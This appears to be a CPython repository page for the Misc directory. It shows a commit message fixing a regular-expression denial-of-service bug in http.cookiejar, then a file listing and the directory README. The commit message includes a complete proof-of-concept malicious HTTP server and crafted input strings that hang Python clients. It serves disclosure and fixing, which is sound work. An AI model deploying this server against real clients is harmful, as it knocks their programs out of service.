cpython/Misc
bcaller 1b779bfb85 bpo-38804: Fix REDoS in http.cookiejar (GH-17157)
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular
expression denial of service (REDoS).

LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar
to parse Set-Cookie headers returned by a server.
Processing a response from a malicious HTTP server can lead to extreme
CPU usage and execution will be blocked for a long time.

The regex contained multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex could be simplified to

    \d+-\w+-\d+(\s*\s*\s*)$

Therefore, a long sequence of spaces can trigger bad performance.

Matching a malicious string such as

    LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!")

caused catastrophic backtracking.

The fix removes ambiguity about which \s* should match a particular
space.

You can create a malicious server which responds with Set-Cookie headers
to attack all python programs which access it e.g.

    from http.server import BaseHTTPRequestHandler, HTTPServer

    def make_set_cookie_value(n_spaces):
        spaces = " " * n_spaces
        expiry = f"1-c-1{spaces}!"
        return f"b;Expires={expiry}"

    class Handler(BaseHTTPRequestHandler):
        def do_GET(self):
            self.log_request(204)
            self.send_response_only(204)  # Don't bother sending Server and Date
            n_spaces = (
                int(self.path[1:])  # Can GET e.g. /100 to test shorter sequences
                if len(self.path) > 1 else
                65506  # Max header line length 65536
            )
            value = make_set_cookie_value(n_spaces)
            for i in range(99):  # Not necessary, but we can have up to 100 header lines
                self.send_header("Set-Cookie", value)
            self.end_headers()

    if __name__ == "__main__":
        HTTPServer(("", 44020), Handler).serve_forever()

This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.

Vulnerable client using the example at the bottom of
https://docs.python.org/3/library/http.cookiejar.html :

    import http.cookiejar, urllib.request
    cj = http.cookiejar.CookieJar()
    opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
    r = opener.open("http://localhost:44020/")

The popular requests library was also vulnerable without any additional
options (as it uses http.cookiejar by default):

    import requests
    requests.get("http://localhost:44020/")

* Regression test for http.cookiejar REDoS

If we regress, this test will take a very long time.

* Improve performance of http.cookiejar.ISO_DATE_RE

A string like

"444444" + (" " * 2000) + "A"

could cause poor performance due to the 2 overlapping \s* groups,
although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.
2019-11-22 15:22:11 +01:00
..
NEWS.d bpo-38804: Fix REDoS in http.cookiejar (GH-17157) 2019-11-22 15:22:11 +01:00
ACKS bpo-38804: Fix REDoS in http.cookiejar (GH-17157) 2019-11-22 15:22:11 +01:00
HISTORY Fix typos mostly in comments, docs and test names (GH-15209) 2019-08-30 16:21:19 -04:00
Porting bpo-30737: Update DevGuide links to new URL (GH-3228) 2017-08-30 09:37:43 -07:00
README bpo-32159: Revert Misc/svnmap.txt (#4639) 2017-11-29 18:58:33 +01:00
README.AIX Replace KB unit with KiB (#4293) 2017-11-08 14:44:44 -08:00
README.coverity
README.valgrind bpo-18859: Document --with-valgrind option in README.valgrind (#10591) 2018-11-20 12:10:49 +01:00
SpecialBuilds.txt bpo-36722: Style and grammar edits for ABI news entries (GH-12979) 2019-04-27 20:14:35 +02:00
coverity_model.c bpo-35808: Retire pgen and use pgen2 to generate the parser (GH-11814) 2019-03-01 15:34:44 -08:00
gdbinit bpo-15817: gdbinit: Document commands after defining them (GH-15021) 2019-09-09 04:06:37 -05:00
indent.pro
python-config.in bpo-38468 : Refactor python-config (#16749) 2019-10-15 11:18:47 -03:00
python-config.sh.in bpo-37925: Mention --embed in python-config usage (GH-15458) 2019-08-26 23:45:36 +02:00
python-embed.pc.in bpo-36721: Add --embed option to python-config (GH-13500) 2019-05-23 03:30:23 +02:00
python-wing3.wpr Mark files as executable that are meant as scripts. (GH-15354) 2019-09-09 07:16:33 -07:00
python-wing4.wpr Mark files as executable that are meant as scripts. (GH-15354) 2019-09-09 07:16:33 -07:00
python-wing5.wpr Mark files as executable that are meant as scripts. (GH-15354) 2019-09-09 07:16:33 -07:00
python.man bpo-29535: Remove promize about hash randomization of datetime objects. (GH-15269) 2019-08-24 12:49:27 +03:00
python.pc.in bpo-36721: Add --embed option to python-config (GH-13500) 2019-05-23 03:30:23 +02:00
svnmap.txt bpo-32159: Revert Misc/svnmap.txt (#4639) 2017-11-29 18:58:33 +01:00
valgrind-python.supp bpo-38118: Ignore Valgrind false alarm in PyUnicode_Decode() (GH-16651) 2019-10-08 15:42:17 +02:00
vgrindefs

README

Python Misc subdirectory
========================

This directory contains files that wouldn't fit in elsewhere.  Some
documents are only of historic importance.

Files found here
----------------

ACKS                    Acknowledgements
gdbinit                 Handy stuff to put in your .gdbinit file, if you use gdb
HISTORY                 News from previous releases -- oldest last
indent.pro              GNU indent profile approximating my C style
NEWS                    News for this release (for some meaning of "this")
Porting                 Mini-FAQ on porting to new platforms
python-config.in        Python script template for python-config
python.man              UNIX man page for the python interpreter
python.pc.in            Package configuration info template for pkg-config
python-wing*.wpr        Wing IDE project file
README                  The file you're reading now
README.AIX              Information about using Python on AIX
README.coverity         Information about running Coverity's Prevent on Python
README.valgrind         Information for Valgrind users, see valgrind-python.supp
SpecialBuilds.txt       Describes extra symbols you can set for debug builds
svnmap.txt              Map of old SVN revs and branches to hg changeset ids,
                        help history-digging
valgrind-python.supp    Valgrind suppression file, see README.valgrind
vgrindefs               Python configuration for vgrind (a generic pretty printer)